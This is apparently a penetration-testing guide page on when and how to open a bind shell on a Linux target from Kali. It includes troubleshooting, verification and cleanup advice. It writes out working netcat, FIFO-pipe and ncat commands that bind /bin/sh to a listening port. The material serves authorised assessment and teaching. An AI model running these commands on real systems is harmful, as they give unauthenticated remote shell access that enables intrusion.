Use a bind shell when the target can accept inbound connections

Needs: Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward

Traditional Netcat with -e support on a Linux target

Use a bind shell only when Kali can reach a target listener and reverse egress is unavailable.

# Traditional Netcat with -e support on a Linux target
nc -lvnp PORT -e /bin/sh

# Connect from Kali
nc -nv TARGET PORT

# FIFO alternative when -e is absent
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp PORT >/tmp/f

# Ncat target listener
ncat -4 -lvn 0.0.0.0 PORT --exec /bin/sh

Verify → Verify reachable listener plus hostname/id over the channel; record and later remove the created listener.

If it fails → A target-side listener with client timeout implies a route/firewall boundary. Use an appropriate forward or another allowed access form. More detail ↓

If → then

A working shell lacks job control, terminal signals or interactive program support → Repair a limited Linux terminal
Needs: A working channel and available PTY mechanism; correct local-terminal control sequence
One reachable pivot can connect to one internal TCP destination → Relay a single TCP service through a fixed forward
Needs: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity
A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
Needs: A functioning execution primitive and an observable output or controlled side effect

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Use a bind shell when the target can accept inbound connections

USE WHEN: Reverse egress is unavailable but a target listener is reachable
STARTING ACCESS: Verified command execution or authenticated remote access and a known network path
RESULT: A verified inbound command channel on the target

Recognize the clue

Inspect target-side listening permissions, tool implementation and the assessment-source route to a proposed listener.

nc -h
ss -lnt

SYNTHETIC EXAMPLE OUTPUT

Netcat help: no -e option
Selected listen port: not currently bound

Means: The implementation cannot use an assumed -e shell; another supported listener mechanism is needed.

Confirm: Confirm a compatible bind command, permitted listener and inbound source-to-target reachability.

After validation: The selected implementation binds and the source reaches it: use the verified inbound channel.
Ruled out in this context: The required inbound connection is filtered and no permitted forward exists: reject this bind route.
Still inconclusive: A local listen socket alone leaves remote firewall/access unknown.

Troubleshooting: A target-side listener with client timeout implies a route/firewall boundary. Use an appropriate forward or another allowed access form.

Use a bind shell only when Kali can reach a target listener and reverse egress is unavailable.

Traditional Netcat with -e support on a Linux target:

Connect from Kali:

FIFO alternative when -e is absent:

Ncat target listener:

Bind shells expose a target port and may be blocked by the host firewall or upstream ACL. A successful local bind does not prove Kali can reach it.

Why it works

The target listens and the assessment client connects. A local successful bind is separate from remote firewall/route acceptance.

Worked example · hypothetical

Observation: the target cannot connect outward. Test: verify an allowed inbound path and compatible bind implementation. Illustrative output: the assessment client connects and receives target identity. Interpretation: use the same verification and terminal-repair steps as another foothold.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗